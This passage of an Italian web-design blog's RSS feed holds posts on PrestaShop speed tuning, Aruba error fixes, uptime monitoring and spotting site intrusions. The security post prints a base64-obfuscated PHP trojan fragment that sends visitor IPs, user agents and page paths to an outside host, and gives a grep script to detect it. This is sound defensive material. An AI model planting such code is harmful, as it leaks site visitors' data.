<p>Se grazie a queste dritte hai salvato il&#8230; sito apprezzerò molto che tu lo condivida. Questo è il modo migliore per avere altre risorse gratuite a disposizione in futuro.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Aumentare la velocità di un e-commerce: Case Study</title>
		<link>https://www.sitiweb-bologna.com/aumentare-la-velocita-di-un-ecommerce/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Wed, 27 Nov 2024 00:04:05 +0000</pubDate>
				<category><![CDATA[Hosting]]></category>
		<category><![CDATA[Prestashop]]></category>
		<category><![CDATA[ottimizzazione]]></category>
		<category><![CDATA[prestashop]]></category>
		<category><![CDATA[prestazioni]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=1879</guid>

					<description><![CDATA[La velocità di un sito è essenziale: Primo, l'utente non ama aspettare, è stato dimostrato che un solo secondo di attesa causa il 7% di vendite in meno. Secondo, tra i vari fattori che Google assegna per determinare la vostra posizione nelle SERP, c'è anche la velocità di caricamento delle pagine. In quest'articolo vediamo come è stato possibile recuperare questo secondo e incrementare la velocità di caricamento della home page del 26%.]]></description>
										<content:encoded><![CDATA[<p>La velocità di un sito è essenziale: Primo, l&#8217;utente non ama aspettare, è stato dimostrato che <strong>un solo secondo di attesa causa il 7% di vendite in meno</strong>. Secondo, tra i vari fattori che Google assegna per determinare la vostra posizione nelle SERP, c&#8217;è anche la velocità di caricamento delle pagine. In quest&#8217;articolo vediamo come è stato possibile recuperare questo secondo e <strong>incrementare la velocità di caricamento della home page del 26%</strong>.<span id="more-1879"></span></p>
<p>Il cliente in questione aveva un e-commerce PrestaShop, ospitato su un hosting di fascia media (HostGator).</p>
<p>Il sito in questione era già stato ottimizzato in parte usando la mia ricetta di caching basata su htaccess. Ma c&#8217;è sempre la possibilità di migliorare.</p>
<p>&nbsp;</p>
<h2>Step 1 &#8211; Misurare</h2>
<p>Per procedere in modo corretto è necessario misurare le performance prima e dopo, quindi ho utilizzato due servizi, entrambi gratuiti:</p>
<ul>
<li><a href="https://tools.pingdom.com/" target="_blank" rel="noopener noreferrer">Pingdom Speed Test</a></li>
<li><a href="http://developers.google.com/speed/pagespeed/insights/" target="_blank" rel="noopener noreferrer">Google PageSpeed</a></li>
</ul>
<p>Ecco le misurazioni eseguite sulla home page a inizio lavoro:</p>
<blockquote>
<table border="1" width="100%" cellspacing="0" cellpadding="10">
<colgroup>
<col width="179" />
<col width="64" /> </colgroup>
<tbody>
<tr>
<td width="179" height="17"></td>
<td style="text-align: right;" width="64"><strong>prima</strong></td>
</tr>
<tr>
<td height="17"><strong>rating Google</strong></td>
<td align="right">74</td>
</tr>
<tr>
<td height="17"><strong>rating Pingdom</strong></td>
<td align="right">78</td>
</tr>
<tr>
<td height="17"><strong>tempo caricamento (secondi)</strong></td>
<td align="right">3,44</td>
</tr>
</tbody>
</table>
</blockquote>
<p>&nbsp;</p>
<h2>Step 2 &#8211; Sfruttare il download in parallelo</h2>
<p>I siti di e-commerce (e in generale la maggior parte dei siti al giorno d&#8217;oggi) sono oggetti estremamente complessi, ogni pagina necessita di moltissimi file esterni per funzionare: fogli di stile CSS, file Javascript, immagini.</p>
<p>Quando un visitatore arriva sul sito il browser si trova immediatamente una lista lunghissima di file da scaricare. Molti non lo sanno, ma c&#8217;è un limite a quanti oggetti un browser può scaricare dallo stesso sito: inizia con i primi 10 oggetti e gli altri download aspettano in coda. Quindi, per sfruttare più download in parallelo, occorre che molti degli oggetti statici siano scaricati da un dominio diverso da quello che ospita il sito.</p>
<p>Infine, ogni conversazione con il server include scambi di informazioni contenuti nei cookie, ecco perchè è utile che i download di oggetti statici avvengano su un dominio &#8220;cookieless&#8221;, ovvero che non prevede uso di cookie, in questo modo la connessione usa meno informazioni ed è un pò più rapida.</p>
<p>Ho perciò creato sullo stesso hosting, usando cPanel, un sottodominio <strong>static.dominio.com</strong>, destinato a servire gli oggetti statici più comuni come loghi, file javascript e CSS. Si tratta di un dominio che non gestirà mai i cookie, a vantaggio della velocità.</p>
<p>Lì sopra ho copiato in pochi istanti, con il file manager, la cartella del tema con i suoi file statici, togliendo quanto non serve.</p>
<p>Infine ho aperto il file <strong>defines.inc.php</strong> del PrestaShop e ho ridefinito le tre costanti che indicano dove i file statici del tema risiedono.</p>
<blockquote>
<pre>define('_THEME_IMG_DIR_',  'https://static.dominio.com'._THEME_DIR_.'img/');
define('_THEME_CSS_DIR_',  'https://static.dominio.com'._THEME_DIR_.'css/');
define('_THEME_JS_DIR_',   'https://static.dominio.com'._THEME_DIR_.'js/');</pre>
</blockquote>
<p>Forzando la ricompilazione dei file template si è già metà strada.</p>
<p>Ovviamente anche il sito static sfrutta la mia ricetta per il caching e la compressione basata su htaccess.</p>
<p>&nbsp;</p>
<h2>Step 3 &#8211; Attivare le opzioni di Smart Cache di PrestaShop</h2>
<p>PrestaShop ha svariate opzione di ottimizzazione del codice che permettono di comprimerlo riducendo così i tempi di trasmissione e di esecuzione (a scapito della leggibilità, ma è il male minore).</p>
<p>Ho quindi attivato, in Backoffice &#8211; <strong>Preferenze/Performance</strong>:</p>
<p><img loading="lazy" decoding="async" class="alignleft size-full wp-image-1885" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/ottimizzazione.png" alt="ottimizzazione" width="754" height="85" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/ottimizzazione.png 754w, https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/ottimizzazione-300x33.png 300w, https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/ottimizzazione-72x8.png 72w, https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/ottimizzazione-157x17.png 157w" sizes="auto, (max-width: 754px) 100vw, 754px" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>Step 4 &#8211; Misurazione e risultati</h2>
<p>A fine lavoro ho rifatto le misurazioni. Qui sotto trovate gli screenshot prima e dopo la cura.</p>
<table class="spaced" border="0" width="100%" cellspacing="0" cellpadding="0">
<colgroup>
<col span="4" width="64" /> </colgroup>
<tbody>
<tr>
<td width="64" height="17"><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test1a.jpg"><img loading="lazy" decoding="async" class="size-thumbnail wp-image-1890 alignnone" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test1a-150x150.jpg" alt="prima - pingdom 1" width="150" height="150" /></a></td>
<td width="64"><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test1b.jpg"><img loading="lazy" decoding="async" class="size-thumbnail wp-image-1889 alignnone" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test1b-150x150.jpg" alt="prima - pingdom 2" width="150" height="150" /></a></td>
<td width="64"><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test1c.jpg"><img loading="lazy" decoding="async" class="alignnone size-thumbnail wp-image-1888" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test1c-150x150.jpg" alt="prima - pingdom 3" width="150" height="150" /></a></td>
<td width="64"><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test1d.jpg"><img loading="lazy" decoding="async" class="alignnone size-thumbnail wp-image-1887" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test1d-150x150.jpg" alt="prima - google" width="150" height="150" /></a></td>
</tr>
<tr>
<td height="17"><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test2a.jpg"><img loading="lazy" decoding="async" class="alignnone size-thumbnail wp-image-1898" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test2a-150x150.jpg" alt="dopo - pingdom 1" width="150" height="150" /></a></td>
<td><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test2b.jpg"><img loading="lazy" decoding="async" class="alignnone wp-image-1899" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test2b-150x150.jpg" alt="dopo - pingdom 2" width="150" height="150" /></a></td>
<td><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test2c.jpg"><img loading="lazy" decoding="async" class="alignnone size-thumbnail wp-image-1897" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test2c-150x150.jpg" alt="dopo - pingdom 3" width="150" height="150" /></a></td>
<td><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test2d.jpg"><img loading="lazy" decoding="async" class="alignnone size-thumbnail wp-image-1896" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test2d-150x150.jpg" alt="dopo - google" width="150" height="150" /></a></td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>I risultati sono chiari nella tabella che segue:</p>
<blockquote>
<table class="spaced" border="1" width="100%" cellspacing="0" cellpadding="10">
<colgroup>
<col width="179" />
<col span="2" width="64" />
<col width="71" />
<col width="180" /> </colgroup>
<tbody>
<tr>
<td width="179" height="17"></td>
<td width="64"><strong>prima</strong></td>
<td width="64"><strong>dopo</strong></td>
<td width="71"><strong>differenza</strong></td>
<td width="180"><strong>percentuale miglioramento</strong></td>
</tr>
<tr>
<td height="17"><strong>rating Google</strong></td>
<td align="right">74</td>
<td align="right">83</td>
<td align="right">9</td>
<td>12%</td>
</tr>
<tr>
<td height="17"><strong>rating Pingdom</strong></td>
<td align="right">78</td>
<td align="right">86</td>
<td align="right">8</td>
<td>10%</td>
</tr>
<tr>
<td height="17"><strong>tempo caricamento (secondi)</strong></td>
<td align="right">3,44</td>
<td align="right">2,55</td>
<td align="right">0,89</td>
<td>26%</td>
</tr>
</tbody>
</table>
</blockquote>
<p>&nbsp;</p>
<p>Si è ottenuto un <strong>incremento medio di ranking del 11%</strong> e una <strong>riduzione del 26% del tempo di caricamento</strong> originario&#8230; più o meno il secondo che speravo di recuperare!</p>
<p>&nbsp;</p>
<h2>Una nota finale</h2>
<p>A fronte di questo buon risultato, non si deve pensare che incrementando l&#8217;uso del dominio parallelo e delle opzioni di ottimizzazione si vada sempre di bene in meglio&#8230;</p>
<ul>
<li>Spostando sul dominio statico anche le cartelle &#8220;js&#8221; e &#8220;css&#8221; presenti nella cartella radice PrestaShop, mi aspettavo un ulteriore miglioramento e invece, probabilmente perchè era ora saturo anche il canale di download parallelo, il ranking è rimasto buono ma il tempo di caricamento è clamorosamente ripiombato ai livelli inziali! <a href="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test3b.jpg"><img loading="lazy" decoding="async" class="alignnone wp-image-1905" src="https://www.sitiweb-bologna.com/wp-content/uploads/2014/04/test3b-150x150.jpg" alt="Risultati spingendo ulteriormente il dowload sul canale parallelo" width="87" height="87" /></a></li>
<li>Sempre in PrestaShop, <strong>Preferenze-&gt;Performance</strong> son presenti altre due opzioni per comprimere ulteriormente il codice, dopo averle attivate esse hanno però prodotto malfunzionamenti sulla visualizzazione, quindi sono state immediatamente disattivate.</li>
</ul>
<p>Quanto sopra mostra che non ci sono ricette perfette a priori, <strong>occorre sempre provare, misurare e applicare ciò che funziona</strong>.</p>
<p>Per la realizzazione di questi accorgimenti mi è stato prezioso l&#8217;impiego di un hosting provider che lasci intervenire su domini di terzo livello e file htaccess. Per questo si sono rivelati soldi ben spesi quelli impiegati per un hosting basato su cPanel. Chi vuole dotarsi dello stesso hosting (HostGator) troverà nella sezione Link utili un codice per ottenere l&#8217;hosting a prezzo scontato, ma anche nel nostro paese ci sono buone alternative.</p>
<h3>Per approfondire</h3>
<p>1 secondo di ritardo causa il 7% di vendite in meno &#8211; come risolverlo (in inglese)</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Come tenere d&#8217;occhio attività sospette sul tuo sito web</title>
		<link>https://www.sitiweb-bologna.com/come-tenere-docchio-attivita-sospette-sul-tuo-sito-web/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Tue, 19 Nov 2024 01:35:04 +0000</pubDate>
				<category><![CDATA[Hosting]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[trojan]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=1658</guid>

					<description><![CDATA[Non tutti sanno che è proprio durante le festività (ferragosto e Natale/capodanno) che gli hacker impazzano prendendo il controllo di server e spazi web e poi utilizzandoli per gli scopi più vari.
Ecco un paio di sistemi semplici per tenere sotto controllo il vostro spazio web e partire per le vacanze più tranquilli.]]></description>
										<content:encoded><![CDATA[<p>Non tutti sanno che è proprio durante le festività (ferragosto e Natale/capodanno) che gli hacker impazzano prendendo il controllo di server e spazi web e poi utilizzandoli per gli scopi più vari.</p>
<p>Ecco un paio di sistemi semplici per tenere sotto controllo il vostro spazio web e partire per le vacanze più tranquilli.<span id="more-1658"></span></p>
<h2>Controllo di tutti files cambiati durante la notte</h2>
<p>Se sei invacanza e non stai lavorando ti sembrerà strano se scopri che alcuni file del tuo sito sono stati modificati ieri notte&#8230;</p>
<p>Ecco uno script che trova tutti i file modificati nelle ultime 24 ore. E&#8217; facile se hai un hosting provider come <a title="Hosting Linux Condivisi – quali sono i migliori" href="https://www.sitiweb-bologna.com/hosting-quali-sono-i-migliori/">questi</a> fare in modo che questo report ti venga inviato via email ogni mattina. Personalizza le parti in corsivo:</p>
<p>&nbsp;</p>
<pre class="EnlighterJSRAW" data-enlighter-language="null">#finder.sh - impostare in cron tutte le notti

echo "Files modificati"
echo " "

# Di seguito personalizzare con la directory in cui vuoi che inizi la ricerca (le sottocartelle sono automaticamente incluse)

cd /home/myuser/public_html
find . -mtime -1 -type f \! -path './sito/smarty/cache/*'</pre>
<p>&nbsp;</p>
<p>Nota la stringa:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="null">\! -path './sito/smarty/cache/*'</pre>
<p>&nbsp;</p>
<p>questa serve ad escludere il percorso ./sito/smarty/cache/ dalla ricerca. Utile per evitare di essere avvisati in caso di cambiamenti in cartelle dove è normale che i files si rigenerino (cache e simili)</p>
<p>&nbsp;</p>
<h2>Controllo anti codice malevolo</h2>
<p>Uno dei sistemi preferiti degli hacker per inserire codice malevolo e non essere scoperti è quello di <strong>codificarlo</strong> tramite un algoritmo chiamato base64, poi tramite PHP questa stringa può essere convertita di nuovo in codice eseguibile e infine eseguita.</p>
<p>Ecco come appare un codice pirata ultimamente in circolazione (si tratta di un Trojan legato al sito mbrowserstats.com):</p>
<pre class="EnlighterJSRAW" data-enlighter-language="null">if(isset($_SERVER['REMOTE_ADDR']) == true &amp;&amp; isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&amp;useragent='.urlencode($sUserAgent).'&amp;domainname='.urlencode($_SERVER['HTTP_HOST']).'&amp;fullpath='.urlencode($_SERVER['REQUEST_URI']).'&amp;check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}</pre>
<p>&nbsp;</p>
<p>Se ora trovaste questo codice nel file principale (<strong>index.php</strong>) del vostro sito o del vostro tema WordPress probabilmente non vi preoccupereste perchè a noi umani la stringa <code><code>base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw')</code></code>non dice granché. Dentro però c&#8217;è l&#8217;istruzione che dice al server di collegarsi al sito dei pirati, che a sua volta fornisce carpisce i dati nostri e dei visitatori.</p>
<p>&nbsp;</p>
<p>Un controllo semplice che si può fare al prima di partire (e in generale ogni mese) è quello di seguire uno script che cerchi tutte le istruzioni <strong>base64_decode</strong> all&#8217;interno del nostro spazio web, e ci fornisca una lista di tutti i file index.php che la conengono, con la riga in questione. Ecco lo script:</p>
<p>&nbsp;</p>
<div class="code">
<pre class="EnlighterJSRAW" data-enlighter-language="null">cd /home/myuser/public_html/ find . -name "index.php" -exec grep 'base64_decode' '{}' \; -print &gt; checklist.txt</pre>
<p>&nbsp;</p>
</div>
<p>Il file <em><strong>checklist.txt</strong></em> a questo punto è pronto per essere esaminato.</p>
<p>Qui i risultati <strong>vanno un pò interpretati con buon senso</strong>. La presenza di stringhe oscure deve mettervi sull&#8217;attenti, ma non è detto che si tratti di codice malevolo. Infine non è detto che la stringa malefica debba trovarsi in un file che si chiama index.php, potrebbe pure trovarsi altrove, o potrebbe trovarsi in un punto del file che lo script non individuerebbe. Insomma questo test vi fa stare un minimo più tranquilli catturando una classe di casi ma non è garanzia di nulla né in un senso né nell&#8217;altro.</p>
<p>Se volete vedere a cosa corrisponde il codice trovato dentro una base64_decode basterà andare a questo indirizzo <a href="http://www.motobit.com/util/base64-decoder-encoder.asp" target="_blank" rel="noopener noreferrer">http://www.motobit.com/util/base64-decoder-encoder.asp</a> , incollare la stringa di codice racchiusa tra gli apicetti , seezionare &#8220;Decode&#8221; e infine cliccare &#8220;Convert&#8221; per vedere di cosa si tratta e toglierci ogni dubbio.</p>
<p>&nbsp;</p>
<p>Se hai trovato utile questo articolo, condividilo!</p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Risolvere 500 Internal Server Error su Aruba</title>
		<link>https://www.sitiweb-bologna.com/internal-server-error-aruba/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Sun, 13 Oct 2024 23:33:41 +0000</pubDate>
				<category><![CDATA[Hosting]]></category>
		<category><![CDATA[500]]></category>
		<category><![CDATA[aruba]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[internal server error]]></category>
		<category><![CDATA[problema]]></category>
		<category><![CDATA[risolvere]]></category>
		<category><![CDATA[soluzione]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=1351</guid>

					<description><![CDATA[Se avete un hosting Linux su Aruba è possibile che vi siate imbattuti in questo internal server error almeno una volta. Può succedere, per esempio, dopo aver eseguito l'aggiornamento automatico di Wordpress. Se è così, ecco come risolvere le cose...]]></description>
										<content:encoded><![CDATA[<p>Se avete un hosting Linux su Aruba è possibile che vi siate imbattuti in questo <strong>internal server error</strong> almeno una volta. Può succedere, per esempio, dopo aver eseguito l&#8217;aggiornamento automatico di WordPress. Se è così, ecco come risolvere le cose&#8230;<span id="more-1351"></span></p>
<h2>Premessa</h2>
<p>Questo breve tutorial non pretende di risolvere qualsiasi <strong>internal server error</strong>, che è un messaggio molto generico con cui ci viene comunicato che qualcosa sul nostro sito non è andato per il verso giusto. In questa guida ci riferiamo solo al caso specifico in cui si tratti di un hosting Linux su Aruba, e qualora l&#8217;errore sia emerso dopo una operazione di sostituzione file, come ad esempio l&#8217;<strong>aggiornamento automatico di WordPress</strong>. In altri casi questo errore può essere collegato a qualcos&#8217;altro come ad esempio una operazione di salvataggio di file operata dal vostro sito.</p>
<h2>Risolviamo il guaio</h2>
<p>E facciamolo in fretta, perchè se Google vi trova offline son dolori&#8230;</p>
<ol>
<li>Recupera le credenziali per l&#8217;accesso al tuo account Aruba. Se non le hai a portata di mano, prova a cercare nel tuo programma di posta elettronica con la funzione Trova e inserendo la stringa: <strong>@aruba.it</strong> nel criterio di ricerca &#8220;<strong>corpo del messaggio</strong>&#8221; oppure nel campo &#8220;<strong>mittente</strong>&#8220;. Le credenziali che cerchi sono qualcosa del tipo 123456@aruba.it e relativa password.</li>
<li><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2012/12/internal-error-step2.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1354" title="Passo 3" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/12/internal-error-step2-150x150.jpg" alt="" width="150" height="150" /></a>Accedi al pannello &#8220;Area Utenti&#8221; di Aruba che è qui: <a href="https://hosting.aruba.it/areautenti.asp" target="_blank" rel="noopener noreferrer">https://hosting.aruba.it/areautenti.asp</a> e entra usando le tue credenziali</li>
<li>Ora sei nello schermo principale (v. figura a lato). Sotto al dominio associato al tuo sito trovi un pulsante <strong>PANNELLO DI CONTROLLO</strong>, fai clic su quello.</li>
<li><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2012/12/internal-error-step5.jpg"><img loading="lazy" decoding="async" class="alignright size-thumbnail wp-image-1355" title="Passo 5" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/12/internal-error-step5-150x150.jpg" alt="" width="150" height="150" /></a>Sei ora nel pannello di controllo del tuo dominio, in questo caso abbiamo un piano Hosting Easy Linux (il tuo tipo di hosting può essere leggermente differente, cerca di adattare queste istruzioni al tuo caso).</li>
<li>Cerca il pulsante che ti porta alla funzione &#8220;Riparazione permessi&#8221; , nel nostro caso è etichettato &#8220;<strong>Servizi hosting Linux</strong>&#8221; indicato dalla freccia.</li>
<li><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2012/12/internal-error-step6.jpg"><img loading="lazy" decoding="async" class="size-thumbnail wp-image-1356 alignright" title="Passo 6" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/12/internal-error-step6-150x150.jpg" alt="" width="150" height="150" /></a>Nel nostro caso si finisce su un ulteriore menu (v. figura), la voce che ci interessa è indicata dalla freccia ed è &#8220;<strong>Riparazione permissions</strong>&#8220;</li>
<li><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2012/12/aruba_server_error4.jpg"><img loading="lazy" decoding="async" class="alignright wp-image-1357" title="Passo 7" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/12/aruba_server_error4-150x150.jpg" alt="" width="150" height="150" /></a>E&#8217; ormai fatta! Alla finestra di avviso che si apre (e se non si apre, disattivate il blocco pop-up sul browser) fate clic su <strong>OK</strong>. Nell&#8217;arco di pochi secondi il sito dovrebbe essere di nuovo a posto.</li>
</ol>
<h2>Che cos&#8217;era successo?</h2>
<p>Come si vede, non si tratta di un problema grave. Per quanto mi è dato di capire, a volte qualche script del sito va a salvare un file con permessi che non sono compatibili con lo schema di sicurezza usato da Aruba.</p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Il tuo sito è abbastanza veloce e stabile?</title>
		<link>https://www.sitiweb-bologna.com/hosting-trucchi-e-consigli-pt1/</link>
		
		<dc:creator><![CDATA[Siti Web Bologna]]></dc:creator>
		<pubDate>Sun, 06 Oct 2024 14:50:41 +0000</pubDate>
				<category><![CDATA[Risorse]]></category>
		<category><![CDATA[consigli]]></category>
		<category><![CDATA[hosting]]></category>
		<category><![CDATA[trucchi]]></category>
		<guid isPermaLink="false">https://www.sitiweb-bologna.com/?p=1237</guid>

					<description><![CDATA[La velocità e la stabilità del sito è uno dei fattori cruciali per la riuscita di qualunque progetto su web. Vediamo una serie di trucchi e di consigli per valutare la bontà di un hosting provider, e individuare i servizi scadenti, che spesso si rivelano tali quando è ormai costoso tornare indietro.]]></description>
										<content:encoded><![CDATA[<p>La velocità e la stabilità del sito è uno dei fattori cruciali per la riuscita di qualunque progetto su web. Vediamo una serie di trucchi e di consigli per valutare la bontà di un hosting provider, e individuare i servizi scadenti, che spesso si rivelano tali quando è ormai costoso tornare indietro.<span id="more-1237"></span></p>
<p>Intanto, se sai poco di hosting e ti sei perso l&#8217;articolo della settimana scorsa, <a href="https://www.sitiweb-bologna.com/scegliere-hosting-provider/">ti invito a leggerlo</a> per avere una panoramica sulle tipologie di offerte che potresti trovare in giro.</p>
<h2>1. Monitorare l&#8217;UpTime</h2>
<p>Non tutti sanno che se il server che ospita il sito risulta inattivo o irraggiungibile per un pò di tempo, questo può provocare una penalizzazione, seppure temporanea, nei risultati di ricerca di Google. L&#8217;agente che &#8220;tiene d&#8217;occhio&#8221;, per così dire, il tuo sito tiene traccia anche dei <em>downTime</em> e se il sito presenta problemi cronici la penalizzazione può essere altrettanto cronica.</p>
<p>Se usi <a href="https://search.google.com/search-console" target="_blank" rel="noopener">Google Strumenti per il Webmaster</a> e hai ricevuto il messaggio &#8220;<strong>Googlebot can&#8217;t access your site</strong>&#8220;, è un chiaro segnale che qualcosa non ha funzionato quando Google veniva a visitare il tuo sito. Spesso questo incidente si ripete in modo regolare, vediamo di scoprirlo usando un servizio gratuito chiamato Pingdom, che controlla per te il tuo sito ogni 5 minuti e ti avvisa se lo trova inattivo: Se qualcosa non va, meglio che lo sappia tu prima che lo scopra Google!</p>
<h3>Soluzione: Monitoraggio con Uptime Doctor</h3>
<p><img loading="lazy" decoding="async" class="alignright size-medium wp-image-3391" src="https://www.sitiweb-bologna.com/wp-content/uploads/2021/10/uptime-doctor-300x169.jpg" alt="" width="300" height="169" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2021/10/uptime-doctor-300x169.jpg 300w, https://www.sitiweb-bologna.com/wp-content/uploads/2021/10/uptime-doctor-768x434.jpg 768w, https://www.sitiweb-bologna.com/wp-content/uploads/2021/10/uptime-doctor-705x398.jpg 705w, https://www.sitiweb-bologna.com/wp-content/uploads/2021/10/uptime-doctor.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" />Vai su <a href="https://www.uptimedoctor.com/it/" target="_blank" rel="noopener">www.uptimedoctor.com</a> e dopo aver messo il tuo nome e email clicca su <strong>Sottoscrivi</strong>.</p>
<p>Ti verrà inviata una mail di verifica per controllare che l&#8217;email di contatto sia valido e poi potrai attivare controlli cadenzati su un massimo di 5 siti nell&#8217;account gratuito.</p>
<p>Avrai così un controllo puntuale e preciso che, se trova il tuo sito giù, ti avvisa con una mail. Un altro fatto interessante è che all&#8217;inizio di ogni mese viene inviato un report di uptime, basato sull&#8217;esito dei controlli effettuati nel mese appena trascorso.</p>
<p>Quando ricevi la mail di uptime report ogni inizio mese, controlla sempre la percentuale di <em>uptime</em> e soprattutto il tempo di inattività che è stato registrato. Per esempio si potrebbe pensare che un UpTime del 99.1% sia soddisfacente, ma quando scopri che ciò corrisponde a 7 ore di inattività, devi capire che si tratta già di una inattività grave.</p>
<p><strong>Consiglio di non tollerare più di 1 ora/mese di inattività</strong>. Se il tuo provider lascia regolarmente il tuo sito irraggiungibile per più tempo, ti conviene cambiarlo <a href="https://www.sitiweb-bologna.com/hosting-quali-sono-i-migliori/">con uno più affidabile</a>. Uptime Doctor produce anche un comodo grafico con cui puoi chiedere al tuo provider il rimborso (se lo prevede) per il periodo di hosting pagato ma non fruito.</p>
<h3>Trucco: Monitora il sito di un conoscente</h3>
<p>Per sapere se un provider è o no affidabile, cerca di trovare qualcuno che già lo usa, poi metti un monitoraggio sul suo sito. Dopo un paio di mesi avrai una misura abbastanza affidabile di come quel provider funziona. Ovviamente ci possono essere differenza da un server all&#8217;altro, ma se ci sono molti downtime&#8230; cerca altrove!</p>
<p>Per esempio, questo sito da cui stai leggendo è hostato da HostGator. Prova a monitorarlo e saprai che è quasi tutti i mesi up il 100% del tempo.</p>
<h2></h2>
<h2>2. Monitorare la velocità</h2>
<p>A nessuno piace aspettare mentre un sito si carica. Inoltre, <a href="http://searchengineland.com/google-now-counts-site-speed-as-ranking-factor-39708" target="_blank" rel="noopener">Google da un pò misura la velocità dei siti</a> e penalizza quelli che risultano più lenti della media. Dunque, c&#8217;è poco da scherzare.</p>
<h3>Trucco: controlla la velocità con PageSpeed Insights</h3>
<p>Anche questo è gratuito e in più funziona senza alcuna registrazione. Apri la pagina:  <a href="https://pagespeed.web.dev/" target="_blank" rel="noopener">pagespeed.web.dev</a> e scrivi l&#8217;indirizzo del tuo sito, poi clicca <strong>Analizza</strong>.</p>
<p><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1243" title="test-velocita" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita-300x108.jpg" alt="" width="300" height="108" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita-300x108.jpg 300w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita-72x26.jpg 72w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita-157x57.jpg 157w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita.jpg 628w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>Dopo pochi secondi, si ottiene il responso. Il test eseguito su questo sito per la piattaforma Computer/PC è 74% con 100% di SEO.</p>
<p>Teniamo presente comunque, che il test viene eseguito dagli Stati Uniti (quindi per utente italiano il tempo effettivo di caricamento sarà diverso), che cambia da provider a provider e che è importante anche un valore assoluto di tempo: <strong>La mia raccomandazione è che il tempo di caricamento di una pagina non sia mai oltre i 7 secondi, e  posibilmente entro i 2 per avere un risultato ottimale</strong>.</p>
<p><a href="https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita2.jpg"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-1244" title="test-velocita2" src="https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita2-300x121.jpg" alt="" width="300" height="121" srcset="https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita2-300x121.jpg 300w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita2-72x29.jpg 72w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita2-157x63.jpg 157w, https://www.sitiweb-bologna.com/wp-content/uploads/2012/09/test-velocita2.jpg 558w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>Altro valore &#8220;che conta&#8221; ai fini del ranking è quello riscontrato da Google ed è visibile, se lo usi, in <a href="https://search.google.com/search-console" target="_blank" rel="noopener">Google Search Console</a> nel pannello <strong>Esperienza-&gt;Core Web Vitals</strong>: Non dovresti mai avere pagine le cui prestazioni sono marcate in rosso.</p>
